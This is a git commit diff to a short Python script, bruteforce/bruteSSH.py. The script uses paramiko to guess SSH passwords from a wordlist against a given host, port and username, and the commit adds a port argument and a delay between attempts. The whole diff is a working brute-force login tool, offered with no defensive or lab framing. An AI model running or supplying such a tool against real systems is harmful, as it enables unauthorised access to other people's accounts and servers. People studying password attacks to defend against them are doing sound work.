diff options
| author | jerome <jerome@xlinfo.fr> | 2025-10-13 23:49:05 +0200 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2025-10-13 23:49:05 +0200 |
| commit | 08a3900aa70b1d5809b2c5334ed3866117ac3286 (patch) | |
| tree | abfbe2348325a013cd487d4e19b40645036e6285 | |
| parent | e18832e09ddc727c6681008c06f3931274c54fe2 (diff) | |
| download | python-08a3900aa70b1d5809b2c5334ed3866117ac3286.tar.gz python-08a3900aa70b1d5809b2c5334ed3866117ac3286.zip | |
paramiko
| -rw-r--r-- | bruteforce/bruteSSH.py | 19 |
1 files changed, 11 insertions, 8 deletions
diff --git a/bruteforce/bruteSSH.py b/bruteforce/bruteSSH.py index 32c93cb..f5833c7 100644 --- a/bruteforce/bruteSSH.py +++ b/bruteforce/bruteSSH.py @@ -1,13 +1,15 @@ -import paramiko, sys +import sys +import paramiko +import time -def bruteforce(hostname, username, password): +def bruteforce(hostname, port, username, password): client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - client.connect(hostname, username=username, password=password) + client.connect(hostname,port,username=username,password=password) except paramiko.ssh_exception.AuthenticationException: print("erreur : ",password) - #pass + time.sleep(2) else: print("trouvé : ",password) return True @@ -16,15 +18,16 @@ def bruteforce(hostname, username, password): if __name__ == "__main__": hostname = sys.argv[1] - username = sys.argv[2] - dico = sys.argv[3] + port = sys.argv[2] + username = sys.argv[3] + dico = sys.argv[4] try: with open(dico, 'r') as wordlist: for ligne in wordlist.readlines(): password=ligne.strip() - if bruteforce(hostname,username,password)==True: + if bruteforce(hostname,port,username,password) is True: sys.exit() except IndexError: - print(f"{sys.argv[0]} demande un hôte, un username et une liste de passwords en arguments") + print(f"{sys.argv[0]} demande un hôte, un port, un username et une liste de passwords en arguments") |
